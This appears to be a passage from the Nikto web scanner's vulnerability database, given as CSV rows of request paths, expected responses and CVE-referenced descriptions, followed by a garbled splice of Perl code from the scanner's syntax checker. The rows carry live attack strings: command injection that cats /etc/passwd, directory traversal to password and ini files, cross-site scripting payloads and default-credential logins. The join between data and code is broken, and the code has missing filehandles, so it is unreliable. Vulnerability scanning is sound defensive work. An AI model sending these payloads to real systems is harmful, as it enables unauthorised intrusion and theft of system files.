"003035","3296","4","/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter\">,/system/status/session","GET","","","","","","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages.","","" "003036","3296","4","/theme1/selector?button=status,monitor,session&button_url=/system/status/status\">,/system/status/moniter,/system/status/session","GET","","","","","","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages.","","" "003037","3296","4","/theme1/selector?button=status,monitor,session\">&button_url=/system/status/status,/system/status/moniter,/system/status/session","GET","","","","","","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages.","","" "003038","3297","4","/search.asp?Search=","GET","><script>alert(Vulnerable)</script>","","","","","Snitz 3.4.0.3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "003039","3299","8","/forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","GET","uid","","","","","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html","","" "003040","3299","8","/forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","GET","uid","","","","","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html","","" "003041","3299","8","/htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","GET","uid","","","","","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html","","" "003042","3299","8","/vbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","GET","uid","","","","","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html","","" "003043","3299","8","/vbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","GET","uid","","","","","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html","","" "003044","3299","8","@CGIDIRScalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","GET","uid","","","","","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html","","" "003045","3300","6","/_vti_bin/","GET","shtml.dll","shtml.exe","","","","shtml.exe/shtml.dll is available remotely. Some versions of the Front Page ISAPI filter are vulnerable to a DOS (not attempted).","","" "003047","3323","6d","/NULL.printer","GET","Error in web printer install","","","","","Internet Printing (IPP) is enabled. Some versions have a buffer overflow/DoS in Windows 2000 which allows remote attackers to gain admin privileges via a long print request that is passed to the extension through IIS 5.0. Disabling the .printer mapping i","","" "003048","3337","3","/nul..cfm","GET","The template specification","","","","","ColdFusion 5.0 and below, 4.0-5.0 reveal file system paths of .cfm or .dbm files when the request contains invalid DOS devices. Macromedia MPSB02-01. CVE-2002-0576. KPMG-2002013. BID-4542. http://www.macromedia.com/v1/handlers/index.cfm?ID=22906","","" "003049","3337","3","/nul..dbm","GET","The template specification","","","","","ColdFusion 5.0 and below, 4.0-5.0 reveal file system paths of .cfm or .dbm files when the request contains invalid DOS devices. Macromedia MPSB02-01. CVE-2002-0576. KPMG-2002013. BID-4542. http://www.macromedia.com/v1/handlers/index.cfm?ID=22906","","" "003050","3337","3","/nul.cfm","GET","The requested file","","","","","ColdFusion 5.0 and below, 4.0-5.0 reveal file system paths of .cfm or .dbm files when the request contains invalid DOS devices. CVE-2002-0576. KPMG-2002013. BID-4542. http://www.macromedia.com/v1/handlers/index.cfm?ID=22906","","" "003051","3337","3","/nul.dbm","GET","The requested file","","","","","ColdFusion 5.0 and below, 4.0-5.0 reveal file system paths of .cfm or .dbm files when the request contains invalid DOS devices. CVE-2002-0576. KPMG-2002013. BID-4542. http://www.macromedia.com/v1/handlers/index.cfm?ID=22906","","" "003053","3380","8","@CGIDIRSimagemap","GET","200","","","","","imagemap.exe was found. Many versions from different vendors contain flaws.","","" "003054","3380","8","@CGIDIRSimagemap.exe","GET","200","","","","","imagemap.exe was found. Many versions from different vendors contain flaws.","","" "003055","3382","3","@CGIDIRShtimage.exe/path/filename?2,2","GET","tried the following","","","","","htimage.exe can provide physical path of web server. BID-964. BID-1141.","","" "003056","3384","d","@CGIDIRShtimage.exe","GET","200","","","","","htimage.exe may be vulnerable to a buffer overflow in the mapname portion. MS00-028. BID-1117","","" "003057","3396","7","/mlog.html","GET","200","","","","","Remote file read vulnerability 1999-0068","","" "003058","3396","7","/mlog.phtml","GET","200","","","","","Remote file read vulnerability 1999-0068","","" "003059","3396","7","/mylog.html?screen=/etc/passwd","GET","root:","","","","","Remote file read vulnerability 1999-0068","","" "003060","3396","7","/mylog.phtml?screen=/etc/passwd","GET","root:","","","","","Remote file read vulnerability 1999-0068","","" "003061","3396","7","/php/mlog.html","GET","200","","","","","Remote file read vulnerability 1999-0346","","" "003062","3396","7","/php/mlog.phtml","GET","200","","","","","Remote file read vulnerability 1999-0346","","" "003063","3396","7","/php/mylog.html?screen=/etc/passwd","GET","root:","","","","","Remote file read vulnerability 1999-0346","","" "003064","3396","7","/php/mylog.phtml?screen=/etc/passwd","GET","root:","","","","","Remote file read vulnerability 1999-0346","","" "003065","3396","7","fi?/etc/passwd","GET","root:","","","","","Remote file read vulnerability 1999-0346","","" "003066","3399","d","/cfide/administrator/index.cfm","GET","cfadminPassword","","","","","Coldfusion 4.5.1 and earlier may have an overflow DoS by modifying the login page and submit 40k character passwords. This page should not be accessible to all users. CVE-2000-0538, ALLAIRE:ASB00-14, BID-1314.","","" "003067","3399","d","/CFIDE/administrator/index.cfm","GET","cfadminPassword","","","","","ColdFusion Administrator for Coldfusion 4.5.1 and earlier may have an overflow DoS by modifying the login page and submit 40k character passwords. This page should not be accessible to all users. CVE-2000-0538. ALLAIRE:ASB00-14. BID-1314.","","" "003068","3399","d","/cfide/administrator/index.cfm","GET","PasswordProvided","","","","","Coldfusion 4.5.1 and earlier may have an overflow DoS by modifying the login page and submit 40k character passwords. This page should not be accessible to all users. CVE-2000-0538, ALLAIRE:ASB00-14, BID-1314.","","" "003069","3399","d","/CFIDE/administrator/index.cfm","GET","PasswordProvided","","","","","ColdFusion Administrator for Coldfusion 4.5.1 and earlier may have an overflow DoS by modifying the login page and submit 40k character passwords. This page should not be accessible to all users. CVE-2000-0538. ALLAIRE:ASB00-14. BID-1314.","","" "003070","3407","7","/directory.php?dir=%3Bcat%20/etc/passwd","GET","root:","","","","","Marcus S. Xenakis directory.php script allows for command execution. CAN-2002-0434.","","" "003071","3410","7","/content/base/build/explorer/none.php?..:..:..:..:..:..:..:etc:passwd:","GET","root:","","","","","SunPS iRunbook Version 2.5.2 allows files to be read remotely.","","" "003072","3410","7","/content/base/build/explorer/none.php?/etc/passwd","GET","root:","","","","","SunPS iRunbook Version 2.5.2 allows files to be read remotely.","","" "003073","3411","3","/soapConfig.xml","GET","200","","","","","Oracle 9iAS configuration file found - see bugrtraq #4290.","","" "003074","3412","7","@CGIDIRSbbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK","GET","root:","","","","","PHPNuke is vulnerable to a remote file retrieval vul. It should be upgraded to the latest version. CAN-2001-0320","","" "003075","3412","7","@NUKEbbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK","GET","root:","","","","","PHPNuke is vulnerable to a remote file retrieval vul. It should be upgraded to the latest version. CAN-2001-0320","","" "003076","3414","3","@CGIDIRSGW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA","GET","SYS:","","","","","Some Netware web servers reveal the system path to files when unexpected arguments are sent to CGI.","","" "003077","3416","7","/GW5/GWWEB.EXE?HELP=bad-request","GET","Could not find file SYS","","","","","Groupwise allows system information and file retrieval by modifying arguments to the help system.","","" "003078","3416","7","/GWWEB.EXE?HELP=bad-request","GET","Could not find file SYS","","","","","Groupwise allows system information and file retrieval by modifying arguments to the help system. CAN-2002-0341.","","" "003079","3416","7","@CGIDIRSGW5/GWWEB.EXE?HELP=bad-request","GET","Could not find file SYS","","","","","Groupwise allows system information and file retrieval by modifying arguments to the help system.","","" "003080","3416","7","@CGIDIRSGWWEB.EXE?HELP=bad-request","GET","Could not find file SYS","","","","","Groupwise allows system information and file retrieval by modifying arguments to the help system.","","" "003081","3417","4","/examplesWebApp/InteractiveQuery.jsp?person=","GET","","","","","","BEA WebLogic 8.1 and below are vulnerable to Cross Site Scripting (XSS) in example code. CAN-2003-0624. CA-2000-02.","","" "003082","3423","3","/XSQLConfig.xml","GET","200","","","","","Oracle 9iAS configuration file found - see bugrtraq #4290.","","" "003083","3458","4","/sgdynamo.exe?HTNAME=","GET","","","","","","Ecometry's SGDynamo is vulnerable to Cross Site Scripting (XSS). CAN-2002-0375. CA-2000-02.","","" "003084","3483","3","/docs/","GET","","","","","","Nokia Electronic Documentation is vulneable to Cross Site Scripting (XSS). CAN-2003-0801.","","" "003085","3484","3","/docs/NED?action=retrieve&location=.","GET","docs\ned","","","","","Nokia Electronic Documentation allows directory listings and reveals its installation path. CAN-2003-0802.","","" "003086","3486","4","/aktivate/cgi-bin/catgy.cgi?key=0&cartname=axa200135022551089&desc=","GET","","","","","","Aktivate Shopping Cart 1.03 and lower are vulnerable to Cross Site Scripting (XSS). http://www.allen0keul.com/aktivate/ CAN-2001-1212, CA-2000-02.","","" "003087","3487","d","/lcgi/ndsobj.nlm","GET","SCRIPT_NAME","","","","","Novell Netware 5.1 contains a buffer overflow, also, if Groupwise is enabled remote enumeration of users, groups and system information might be possible (CAN-2001-1233)","","" "003088","3489","3","/surf/scwebusers","GET","200","","","","","SurfControl SuperScout Web Reports Server user and password file is available. CAN-2002-0705.","","" "003089","3500","8","/_vti_bin/fpcount.exe","GET","specified CGI application misbehaved","","","","","Frontpage counter CGI has been found. FP Server version 97 allows remote users to execute arbitrary system commands, though a vulnerability in this version could not be confirmed. CAN-1999-1376. BID-2252.","","" "003090","3501","3","/_private/form_results.htm","GET","200","","","cannot be displayed","","This file may contain information submitted by other web users via forms. CAN-1999-1052.","","" "003091","3501","3","/_private/form_results.html","GET","200","","","cannot be displayed","","This file may contain information submitted by other web users via forms. CAN-1999-1052.","","" "003092","3501","3","/_private/form_results.txt","GET","200","","","cannot be displayed","","This file may contain information submitted by other web users via forms. CAN-1999-1052.","","" "003093","3512","7","/scripts/tools/getdrvrs.exe","GET","200","","","","","MS Jet database engine can be used to make DSNs, useful with an ODBC exploit and the RDS exploit (with msadcs.dll) which mail allow command execution. RFP9901 (http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm).","","" "003094","3513","7","@CGIDIRSwebbbs/webbbs_config.pl?name=joe&email=test@example.com&body=aaaaffff&followup=10;cat%20/etc/passwd","GET","root:","","","","","WebBBS by Darryl Burgdorf is vulnerable to command execution.","","" "003095","3514","7","@CGIDIRSvote.cgi","GET","200","","","","","Mike's Vote CGI contained a bug which allowed arbitrary command execution (version 1.2), see http://freshmeat.net/projects/mikessurveycgi/","","" "003096","3515","7","@CGIDIRSquizme.cgi","GET","200","","","","","Mike's Quiz Me! CGI contained a bug which allowed arbitrary command execution (version 0.5), see http://freshmeat.net/users/mikespice/","","" "003097","3565","3","//","OPTIONS","not found for:","","","","","By sending an OPTIONS request for /, the physical path to PHP can be revealed. CAN-2002-0240, BID-8119, BID-4057, http://archives.neohapsis.com/archives/bugtraq/2002-02/0043.html.","","" "003098","3566","7","/shop/normal_html.cgi?file=../../../../../../etc/issue%00","GET","root:","","","","","Happymail E-Commerce 4.3/4.4 allows arbitrary files to be retrieved remotely. CAN-2003-0243.","","" "003099","3566","7","/shop/normal_html.cgi?file=;cat%20/etc/passwd|","GET","root:","","","","","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243.","","" "003100","3566","7","/shop/normal_html.cgi?file=|cat%20/etc/passwd|","GET","root:","","","","","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243.","","" "003101","3567","7","/shop/member_html.cgi?file=;cat%20/etc/passwd|","GET","root:","","","","","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243.","","" "003102","3567","7","/shop/member_html.cgi?file=|cat%20/etc/passwd|","GET","root:","","","","","Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. CAN-2003-0243.","","" "003103","3568","7","@CGIDIRSsendform.cgi","GET","200","","","","","This CGI by Rod Clark (v1.4.4 and below) may allow arbitrary file reading via email or allow spam to be sent. CAN-2002-0710. BID-5286.","","" "003104","3569","7","/boilerplate.asp?NFuse_Template=.../.../.../.../.../.../.../.../.../boot.ini&NFuse_CurrentFolder=/","GET","boot loader","","","","","Citrix CGI allows directory traversal.","","" "003105","3570","2","/proxy/ssllogin?user=administrator&password=administrator","GET",">administrator<","","","","","Compaq Web-Based Management allows login with id/pass 'administrator'/'administrator'.","","" "003106","3570","2","/proxy/ssllogin?user=administrator&password=operator","GET",">operator<","","","","","Compaq Web-Based Management allows login with id/pass 'operator'/'operator'.","","" "003107","3570","2","/proxy/ssllogin?user=administrator&password=user","GET",">user<","","","","","Compaq Web-Based Management allows login with id/pass 'user'/'user'.","","" "003108","3587","7","@CGIDIRSFileSeek.cgi?head=&foot=;cat%20/etc/passwd","GET","root:","","","","","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com","","" "003109","3587","7","@CGIDIRSFileSeek.cgi?head=;cat%20/etc/passwd|&foot=","GET","root:","","","","","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com","","" "003110","3588","7","@CGIDIRSFileSeek2.cgi?head=&foot=;cat%20/etc/passwd","GET","root:","","","","","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com","","" "003111","3588","7","@CGIDIRSFileSeek2.cgi?head=;cat%20/etc/passwd|&foot=","GET","root:","","","","","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com","","" "003112","3589","7","@CGIDIRSFileSeek.cgi?head=&foot=....//....//....//....//....//....//....//etc/passwd","GET","root:","","","","","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com","","" "003113","3589","7","@CGIDIRSFileSeek.cgi?head=....//....//....//....//....//....//....//etc/passwd&foot=","GET","root:","","","","","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com","","" "003114","3590","7","@CGIDIRSFileSeek2.cgi?head=&foot=....//....//....//....//....//....//....//etc/passwd","GET","root:","","","","","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com","","" "003115","3590","7","@CGIDIRSFileSeek2.cgi?head=....//....//....//....//....//....//....//etc/passwd&foot=","GET","root:","","","","","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com","","" "003116","3591","b","/project/index.php?m=projects&user_cookie=1","GET","200","","","","","dotProject 0.2.1.5 may allow admin login bypass by adding the user_cookie=1 to the URL.","","" "003117","3632","4","/webcalendar/colors.php?color=","GET","","","","","","Webcalendar 0.9.42 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "003118","3633","4","/webcalendar/week.php?user=\">","GET","","","","","","Webcalendar 0.9.42 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "003119","369","3","/active.log","GET","WEBactive Http Server","","","","","The WebActive log is accessible remotely.","","" "003120","3761","7","/?pattern=/etc/*&sort=name","GET","passwd","","","","","The TCLHttpd 3.4.2 server allows directory listings via dirlist.tcl.","","" "003121","3761","7","/images/?pattern=/etc/*&sort=name","GET","passwd","","","","","The TCLHttpd 3.4.2 server allows directory listings via dirlist.tcl.","","" "003122","3762","4","/debug/dbg?host==","GET","","","","","","The TCLHttpd 3.4.2 server is vulnerable to Cross Site Scripting (XSS) in debug scripts. CA-2000-02.","","" "003123","3762","4","/debug/echo?name=","GET","","","","","","The TCLHttpd 3.4.2 server is vulnerable to Cross Site Scripting (XSS) in debug scripts. CA-2000-02.","","" "003124","3762","4","/debug/errorInfo?title===","GET","","","","","","The TCLHttpd 3.4.2 server is vulnerable to Cross Site Scripting (XSS) in debug scripts. CA-2000-02.","","" "003125","3762","4","/debug/showproc?proc===","GET","","","","","","The TCLHttpd 3.4.2 server is vulnerable to Cross Site Scripting (XSS) in debug scripts.","","" "003126","379","8","/site/eg/source.asp","GET","200","","","","","This asp (installed with Apache::ASP) allows attackers to upload files to the server. Upgrade to 1.95 or higher. CAN-2000-0628.","","" "003127","3800","7","@PHPMYADMINexport.php?what=../../../../../../../../../../../../etc/passwd%00","GET","root:","","","","","phpMyAdmin is vulnerable to a directory traversal attack.","","" "003128","383","2","/~nobody/etc/passwd","GET","root:","","","","","Apache is misconfigured to view files by accessing ~nobody/filename. Change UserDir from './' to something else in httpd.conf.","","" "003129","3856","3","/admin/db.php","POST","e107 sql-dump","","","","","The e107 management system allows the remote SQL database to be dumped to the user, and it may contained hashed passwords. BID-8273.","dump_sql=foo","" "003130","3856","3","/admin/db.php?dump_sql=1","GET","pass","Authorization Required","","","","e107 allows a dump of the MySQL database without authentication.","","" "003131","3861","7","/dcforum/dcforum.cgi?az=list&forum=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","This install of DCForum allows attackers to read arbitrary files on the host.","","" "003132","3861","7","@CGIDIRSdcforum.cgi?az=list&forum=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","This install of DCForum allows attackers to read arbitrary files on the host.","","" "003133","388","3","/%00/","GET","Directory listing of","","","","","Remote directories can be retrieved through Roxen, upgrade the server.","","" "003134","4","6","/iissamples/exair/search/advsearch.asp","GET","200","","","","","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193.","","" "003135","4013","2bd","/isqlplus","GET","200","","","","","Oracle iSQL*Plus is installed. This may be vulnerable to a buffer overflow in the user id field. http://www.ngssoftware.com/advisories/ora-isqlplus.txt","","" "003136","4161","2","/data/member_log.txt","GET","200","","","","","Teekai's forum full 1.2 member's log can be retrieved remotely.","","" "003137","4161","2","/data/userlog/log.txt","GET","200","","","","","Teekai's Tracking Online 1.0 log can be retrieved remotely.","","" "003138","4161","2","/userlog.php","GET","200","","","","","Teekai's Tracking Online 1.0 log can be retrieved remotely.","","" "003139","4164","7","/internal.sws?../../../../../../../../winnt/win.ini","GET","[fonts]","","","","","Snowblind Web Server v1.0 allows arbitrary files to be retrieved from the remote server.","","" "003140","4164","7","/internal.sws?../../../../../../../../winnt/win.ini","GET","[windows]","","","","","Snowblind Web Server v1.0 allows arbitrary files to be retrieved from the remote server.","","" "003141","4165","7","/internal.sws?.../.../.../.../.../.../.../.../winnt/win.ini","GET","[fonts]","","","","","Snowblind Web Server v1.0 allows arbitrary files to be retrieved from the remote server.","","" "003142","4165","7","/internal.sws?.../.../.../.../.../.../.../.../winnt/win.ini","GET","[windows]","","","","","Snowblind Web Server v1.0 allows arbitrary files to be retrieved from the remote server.","","" "003143","4171","2","/ASP/cart/database/metacart.mdb","GET","200","","","","","MetaCart2 is an ASP shopping cart. The database of customers is available via the web.","","" "003144","4171","2","/database/metacart.mdb","GET","200","","","","","MetaCart2 is an ASP shopping cart. The database of customers is available via the web.","","" "003145","4171","2","/mcartfree/database/metacart.mdb","GET","200","","","","","MetaCart2 is an ASP shopping cart. The database of customers is available via the web.","","" "003146","4171","2","/metacart/database/metacart.mdb","GET","200","","","","","MetaCart2 is an ASP shopping cart. The database of customers is available via the web.","","" "003147","4171","2","/shop/database/metacart.mdb","GET","200","","","","","MetaCart2 is an ASP shopping cart. The database of customers is available via the web.","","" "003148","4171","2","/shoponline/fpdb/shop.mdb","GET","200","","","","","MetaCart2 is an ASP shopping cart. The database of customers is available via the web.","","" "003149","4171","2","/shopping/database/metacart.mdb","GET","200","","","","","MetaCart2 is an ASP shopping cart. The database of customers is available via the web.","","" "003150","4174","4","/search.php?sess=your_session_id&lookfor=<script>alert(document.cookie)</script>","GET","","","","","","phPay v2.02 cross site scripting. http://phpay.sourceforge.net/.","","" "003151","35877","3","/admin/phpinfo.php","GET","PHP Version","","","","","Immobilier allows phpinfo() to be run.","","" "003152","4176","3","/start.php?config=alper.inc.php","GET","Failed opening required","","","","","phPay v2.02 information disclosure. http://phpay.sourceforge.net/.","","" "003153","4177","3","/login.php?sess=your_session_id&abt=&new_lang=99999&caller=navlang","GET","Failed opening required","","","","","phPay v2.02 information disclosure. http://phpay.sourceforge.net/.","","" "003154","4191","7","/viewimg.php?path=../../../../../../../../../../etc/passwd&form=1&var=1","GET","root:","","","","","KorWebLog from http://weblog.kldp.org/ allows any file to be read on the system.","","" "003155","4192","d","@CGIDIRSgettransbitmap","GET","200","","","","","Sun Answerbook2 is vulnerable to a buffer overflow in the gettransbitmap CGI. All default CGIs should be disabled or removed, and Answerbook2 should be disabled if not being used.","","" "003156","4220","8","@CGIDIRSguestbook.cgi?user=cpanel&template=|/bin/cat%20/etc/passwd|","GET","root:","","","","","cpanel's guestbook.cgi allows any command to be executed on the remote server. Remove /usr/local/cpanel/cgi-sys/guestbook.cgi or update to a new version of cpanel.","","" "003157","4231","3","/JUNK(5).xml","GET","file:","","","","","Coccoon from Apache-XML project reveals file system path in error messages.","","" "003158","4231","3","/JUNK(5)/","GET","FileNotFoundException: /","","","","","Coccoon 2.1.4 from Apache-XML project reveals file system path in error messages.","","" "003159","4233","1","/cgi-bin/main_menu.pl","GET","NetDetector Traffic Analysis","","","","","The NetDetector allows unauthenticated users to perform database queries.","","" "003160","4237","2","/ban.bak","GET","200","","","","","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected.","","" "003161","4237","2","/ban.dat","GET","200","","","","","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected.","","" "003162","4237","2","/ban.log","GET","200","","","","","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected.","","" "003163","4237","2","/banmat.pwd","GET","200","","","","","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected.","","" "003164","4238","2","/admin/adminproc.asp","GET","200","","","","","Xpede administration page may be available. The /admin directory should be protected.","","" "003165","4239","2","/admin/datasource.asp","GET","200","","","","","Xpede page reveals SQL account name. The /admin directory should be protected.","","" "003166","4240","9","/utils/sprc.asp","GET","200","","","","","Xpede page may allow SQL injection.","","" "003167","4241","2","/reports/temp/","GET","Index Of","","","","","Xpede reports directory should not be browsable.","","" "003168","4245","3","@CGIDIRSrtm.log","GET","HttpPost Retry","","","","","Rich Media's JustAddCommerce allows retrieval of a log file, which may contain sensitive information.","","" "003169","4261","3","@CGIDIRSVsSetCookie.exe?","GET","200","","","","","A flaw in VsSetCookie.exe may allow attackers to guess a correct user name & gain access to the Lucent system.","","" "003170","4262","4","/addressbook.php?\">\tNikto Databases\n"; } if ($prefix eq "u" ) { print "\n-->\tUser Databases\n"; } for my $file (@dbs) { my $filename = $NIKTO{plugindir} . "/" . $prefix . $file; if (!-r $filename) { next; } open(IN,"<$filename") || die nprint("+ ERROR: Can't open \"$filename\":$!\n"); print "Syntax Check: $filename\n"; if ($file eq 'db_outdated') { foreach $line () { $line =~ s/^\s+//; if ($line =~ /^\#/) { next; } chomp($line); if ($line eq "") { next; } my @L=parse_csv($line); if ($line !~ /^\".*\"\,\".*\"\,\".*\"$/) { print STDERR "\tERROR: Invalid syntax ($#L): $line\n"; next; } if ($#L ne 2) { print STDERR "\tERROR: Invalid syntax ($#L): $line\n"; next; } $ENTRIES{"$L[0]"}++; } foreach $entry (keys %ENTRIES) { if ($ENTRIES{$entry} > 1) { print STDERR "\tERROR: Duplicate ($ENTRIES{$entry}): $entry\n"; } } print "\t" . keys(%ENTRIES) . " entries\n"; } elsif ($file eq 'db_tests') { my %ENTRIES; foreach my $line () { if ($line !~ /^\"/) { next; } my @L=parse_csv($line); if ($L[4] !~ /(GET|POST|TRACE|TRACK|OPTIONS|SEARCH|INDEX)/i) { print STDERR "\tERROR: Possibly invalid method: $L[4] on ($line)\n"; } if ($L[5] eq "") { print STDERR "\tERROR: blank conditional: $line"; next; } if ($line !~ /^\".*\",\".*\",\".*\",\".*\",\".*\"/) { print STDERR "\tERROR: Invalid syntax ($#L): $line\n"; next; } if ($line !~ /^(\".*\",){11}\".*\"/) { print STDERR "\tERROR: Invalid syntax ($#L): $line\n"; next; } if (($L[3] =~ /^\@CGI/) && ($L[3] !~ /^\@CGIDIRS/)) { print STDERR "\tERROR: Possible \@CGIDIRS misspelling: $line"; } $ENTRIES{"$L[3],$L[4],$L[5],$L[6],$L[7],$L[8],$L[9],$L[10],$L[12]"}++; } foreach $entry (keys %ENTRIES) { if ($ENTRIES{$entry} > 1) { print STDERR "\tERROR: Duplicate ($ENTRIES{$entry}): $entry\n"; } } print "\t" . keys(%ENTRIES) . " entries\n"; } elsif ($file eq 'db_server_msgs') { foreach $line () { $line =~ s/^\s+//; if ($line =~ /^\#/) { next; } chomp($line); if ($line eq "") { next; } my @L=parse_csv($line); if ($line !~ /^\".*\"\,\".*\"$/) { print STDERR "\tERROR: Invalid syntax ($#L): $line\n"; next; } if ($#L ne 1) { print STDERR "\tERROR: Invalid syntax ($#L): $line\n"; next; } # test regex to look for errors "test" =~ /$L[0]/; $ENTRIES{"$L[0]"}++; } foreach $entry (keys %ENTRIES) { if ($ENTRIES{$entry} > 1) { print STDERR "\tERROR: Duplicate ($ENTRIES{$entry}): $entry\n"; } } print "\t" . keys(%ENTRIES) ." entries\n"; } elsif ($file eq 'db_variables') { my $ctr=0; foreach $line () { if ($line !~ /^\@/) { next; } if ($line !~ /^\@.+\=.+$/i ) { print STDERR "\tERROR: Invalid syntax: $line\n"; } $ctr++; } print "\t$ctr entries\n"; } elsif ($file eq 'db_realms') { my $ctr=0; foreach $line () { if ($line !~ /^\"/) { next; } chomp($line); my @L=parse_csv($line); if ($#L ne 3) { print STDERR "\tERROR: Invalid syntax: $line\n"; } $ctr++; } print "\t$ctr entries\n"; } elsif ($file eq 'db_404_strings') { my $ctr=0; foreach $line () { # not really any syntax to check $ctr++; } print "\t$ctr entries\n"; } elsif ($file eq 'db_favicon') { my $ctr=0; foreach $line () { if ($line !~ /^\"/) { next; } chomp($line); my @L=parse_csv($line); if ($#L ne 1) { print STDERR "\tERROR: Invalid syntax: $line\n"; } $ctr++; } print "\t$ctr entries\n"; } close(IN); } if ($_[0] eq "") { dbcheck('u'); } # do this once #### check that all plugins are in nikto_plugin_order.txt print "\n-->\tPlugin order ($NIKTO{plugindir}/nikto_plugin_order.txt)\n"; my @NIKTOFILES=dirlist($NIKTO{plugindir},"(\.plugin\$)"); my %PLUGS; foreach my $pluginf (@NIKTOFILES) { chomp($pluginf); $pluginf =~ s/\#.*$//; $pluginf =~ s/\..*$//; $pluginf =~ s/\s+//; if (($pluginf eq "") || ($pluginf eq "nikto_core")) { next; } $PLUGS{$pluginf}=0; } open(ORDERFILE,"<$NIKTO{plugindir}/nikto_plugin_order.txt") || die print STDERR "\tERROR: Unable to open '$NIKTO{plugindir}/nikto_plugin_order.txt' for read: $@\n"; foreach my $line () { chomp($line); $line =~ s/\#.*$//; $line =~ s/\s+/ /; if (($line eq "") || ($line eq " ")) { next; } $PLUGS{$line}=1; } close(ORDERFILE); my $bad=0; foreach my $p (sort keys %PLUGS) { if ($PLUGS{$p} eq 0) { $bad=1; print STDERR "\tERROR: plugin '$p' not in nikto_plugin_order.txt\n"; } } if (!$bad) { print STDERR "\tOrder file okay\n"; } #### check that all plugins are named properly print "-->\tPlugin conventions ($NIKTO{plugindir}/*.plugin)\n"; $bad=0; foreach my $pluginf (@NIKTOFILES) { chomp($pluginf); $pluginf =~ s/\#.*$//; $pluginf =~ s/\..*$//; $pluginf =~ s/\s+//; if (($pluginf eq "") || ($pluginf eq "nikto_core")) { next; } open(IN,"<$NIKTO{plugindir}/$pluginf.plugin") || die print STDERR "\tERROR: Unable to open '$NIKTO{plugindir}/$pluginf.plugin' for read: $@\n"; my @F=; close(IN); my $CT=grep(/sub $pluginf/,@F); if ($CT < 1) { print STDERR "\tERROR: file '$pluginf\.plugin' does not have 'sub $pluginf' defined.\n"; $bad++; } } if (!$bad) { print "\tPlugin syntax okay\n"; } print "\n"; exit; } ############################################################################### sub get_banner { (my $RES, $CONTENT) = fetch("/","HEAD"); $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}=$result{'server'}; $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner_disp}=$result{'server'}; $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner_disp} =~ s/{'host'}; $request{'whisker'}->{'uri'}="/"; $request{'whisker'}->{'method'}="HEAD"; # test for proxy proxy_check() unless $PROXYCHECKED; # try http if (!$CLI{ssl}) { nprint("- Checking for HTTP on port $TARGETS{$CURRENT_HOST_ID}{ip}:$port","v"); $request{'whisker'}->{'ssl'}=0; $request{'whisker'}->{'port'}= $port; $request{'whisker'}->{'http_eol'}=$http_eol; dump_var("Request Hash", \%request); LW2::http_close(\%request); # force-close any old connections LW2::http_fixup_request(\%request); if ($CLI{pause} > 0) { sleep $CLI{pause}; } if (!LW2::http_do_request_timeout(\%request,\%result)) { # this will fix for some Apaches that are smart enough to answer non ssl reqs on an ssl server if ($result{'whisker'}->{'data'} !~ /speaking plain HTTP to an SSL/) { $TARGETS{$CURRENT_HOST_ID}{ports}{$port}{ssl}=0; nprint("- Server found: $TARGETS{$CURRENT_HOST_ID}{ip}:$port \t$result{'server'}","d"); $request{'whisker'}->{'host'}=$oldhost; dump_var("Result Hash", \%result); return; } } else { dump_var("Result 